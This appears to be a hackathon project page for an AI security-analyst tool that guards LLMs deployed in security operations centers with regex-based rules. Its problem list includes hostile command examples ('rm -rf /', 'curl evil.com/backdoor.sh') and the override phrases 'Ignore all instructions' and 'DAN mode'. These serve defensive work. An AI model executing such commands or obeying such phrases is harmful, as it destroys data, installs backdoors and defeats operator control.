AI SOC Security Analyst

Streamlit
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Created by team Bug Busters on November 21, 2025

The Problem Large Language Models (LLMs) deployed in Security Operations Centers face critical vulnerabilities: πŸ”΄ Command Injection: Malicious commands embedded in logs (rm -rf /, curl evil.com/backdoor.sh) πŸ”΄ Credential Extraction: Jailbreak attempts to leak API keys and system prompts πŸ”΄ Malware Generation: Requests for exploit code disguised as security analysis πŸ”΄ Policy Override: "Ignore all instructions" and "DAN mode" attacks πŸ”΄ SQL Injection: Database manipulation through crafted inputs πŸ”΄ Phishing Generation: Social engineering content creation Our Solution Constitutional AI provides a production-ready defense layer with: βœ… 24 Constitutional Security Rules - Comprehensive threat coverage βœ… Real-Time Detection - <50ms regex-based pattern matching βœ… Side-by-Side Comparison - Vulnerable vs. protected responses βœ… Multi-Dataset Testing - JailbreakBench, LLMail-Inject, SOC Synthetic βœ… PDF Report Generation - Comprehensive audit documentation βœ… Streaming Inference - Cerebras Cloud SDK for real-time analysis βœ… Demo Mode - Realistic metrics without API calls

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